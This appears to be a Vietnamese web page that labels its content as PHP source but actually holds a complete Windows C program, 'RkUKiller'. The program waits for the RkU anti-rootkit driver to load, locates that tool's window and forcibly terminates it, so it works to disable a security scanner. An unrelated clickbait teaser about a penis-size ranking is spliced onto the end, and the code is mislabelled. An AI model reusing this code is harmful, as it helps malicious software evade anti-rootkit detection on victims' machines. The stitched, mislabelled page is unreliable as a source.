Mã nguồn PHP:
//
// RkUKiller
// Version 1.0
// Copyright (c) aintrust, 2006
//
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
#include <stdio.h>
#include <conio.h>
// RkU constants
#define RKU_SYS_DEVICE "\\Device\
khdrv10"
#define RKU_SYS_DEVICE_NAME "RkU"
#define RKU_WINDOW_CLASS_NAME "#32770"
#define RKU_WINDOW_TITLE_LEN 8
#define RKU_WINDOW_TITLE_MIN_LEN 2
#define RKU_WINDOW_TITLE_MAX_LEN 32
#define RKU_BTN_UNHOOK_ALL "UnHook ALL"
#define RKU_BTN_UNHOOK_SEL "UnHook Selected"
#define RKU_BTN_SCAN "Scan"
#define RKU_BTN_CLOSE "Close"
#define SLEEP_TIMEOUT 100
#define USER32_DLL "user32.dll"
#define END_TASK "EndTask"
typedef BOOL (WINAPI *fEndTask)(HWND hWnd, BOOL fShutDown, BOOL fForce);
HWND g_hRkUWindow = NULL;
BOOL g_fChildWindowsFound = FALSE;
BOOL g_fBtnUnhookAll = FALSE;
BOOL g_fBtnUnhookSel = FALSE;
BOOL g_fBtnScan = FALSE;
BOOL g_fBtnClose = FALSE;
//
// EnumChildProc()
//
BOOL CALLBACK EnumChildProc(HWND hWnd, LPARAM lParam)
{
CHAR szWindowTitle[256];
INT iWindowTitleLn;
iWindowTitleLn = GetWindowText(hWnd, szWindowTitle, sizeof szWindowTitle / sizeof szWindowTitle[0] - 1);
if (!strcmp(szWindowTitle, RKU_BTN_UNHOOK_ALL))
g_fBtnUnhookAll = TRUE;
if (!strcmp(szWindowTitle, RKU_BTN_UNHOOK_SEL))
g_fBtnUnhookSel = TRUE;
if (!strcmp(szWindowTitle, RKU_BTN_SCAN))
g_fBtnScan = TRUE;
if (!strcmp(szWindowTitle, RKU_BTN_CLOSE))
g_fBtnClose = TRUE;
if (g_fBtnUnhookAll && g_fBtnUnhookSel && g_fBtnScan && g_fBtnClose)
{
g_fChildWindowsFound = TRUE;
return FALSE;
}
return TRUE;
}
//
// EnumWindowsProc()
//
BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
CHAR szWindowTitle[256], szClassName[256];
INT iWindowTitleLn;
INT i;
iWindowTitleLn = GetWindowText(hWnd, szWindowTitle, sizeof szWindowTitle / sizeof szWindowTitle[0] - 1);
// if (iWindowTitleLn == RKU_WINDOW_TITLE_LEN)
if ((iWindowTitleLn >= RKU_WINDOW_TITLE_MIN_LEN) && (iWindowTitleLn <= RKU_WINDOW_TITLE_MAX_LEN))
{
for (i = 0; i < iWindowTitleLn; i++)
{
if (!((szWindowTitle[i] >= '0' && szWindowTitle[i] <= '9') || (szWindowTitle[i] >= 'A' && szWindowTitle[i] <= 'F')))
break;
}
if (i == iWindowTitleLn)
{
GetClassName(hWnd, szClassName, sizeof szClassName / sizeof szClassName[0] - 1);
if (!strcmp(szClassName, RKU_WINDOW_CLASS_NAME))
{
EnumChildWindows(hWnd, EnumChildProc, (LPARAM)NULL);
if (g_fChildWindowsFound)
{
g_hRkUWindow = hWnd;
return FALSE;
}
}
}
}
return TRUE;
}
//
// main()
//
int main(int argc, char* argv[])
{
HMODULE hUser32 = NULL;
fEndTask _EndTask;
HANDLE hDevice;
printf("RkUKiller, version 1.0; Copyright (c) aintrust, 2006
");
hUser32 = GetModuleHandle(USER32_DLL);
if (hUser32 == NULL)
{
hUser32 = LoadLibrary(USER32_DLL);
if (hUser32 == NULL)
{
printf("RkUKiller error: Unable to get user32.dll handle, error %d
", GetLastError());
_getch();
return 1;
}
}
_EndTask = (fEndTask)GetProcAddress(hUser32, END_TASK);
if (_EndTask == NULL)
{
printf("RkUKiller error: Unable to get EndTask() function address, error %d
", GetLastError());
_getch();
return 1;
}
//
// Let's wait for a while till RkU driver has been launched...
//
printf("Waiting for RkU driver (press Ctrl-C to cancel)... ");
while (TRUE)
{
if (DefineDosDevice(DDD_RAW_TARGET_PATH, RKU_SYS_DEVICE_NAME, RKU_SYS_DEVICE))
break;
Sleep(SLEEP_TIMEOUT);
}
while (TRUE)
{
hDevice = CreateFile("\\\\.\\" RKU_SYS_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice != INVALID_HANDLE_VALUE)
break;
Sleep(SLEEP_TIMEOUT);
}
printf("OK
");
CloseHandle(hDevice);
//
// RkU has been loaded -- it's time to find (as reliable as we can) its window, if any...
//
EnumWindows(EnumWindowsProc, (LPARAM)NULL);
if (g_hRkUWindow == NULL)
{
printf("No RkU window found, bye...
");
_getch();
return 1;
}
//
// RkU window is found, just terminate it...
//
if (!(_EndTask(g_hRkUWindow, FALSE, TRUE)))
{
printf("RkUKiller error: EndTask() call failed, error %d
", GetLastError());
_getch();
return 1;
}
printf("RkU has been terminated successfully, bye...
");
_getch();
return 0;
}
Thông qua phân tích dữ liệu Google từ 86 quốc gia, mới đây, một công ty tại Anh đã công bố bảng xếp hạng kích tấc "cậu nhỏ" của các nước trên thế giới. Kết quả, hầu hết các nước xếp ở nhóm đầu của...
"Chim" của chàng trai Việt thuộc...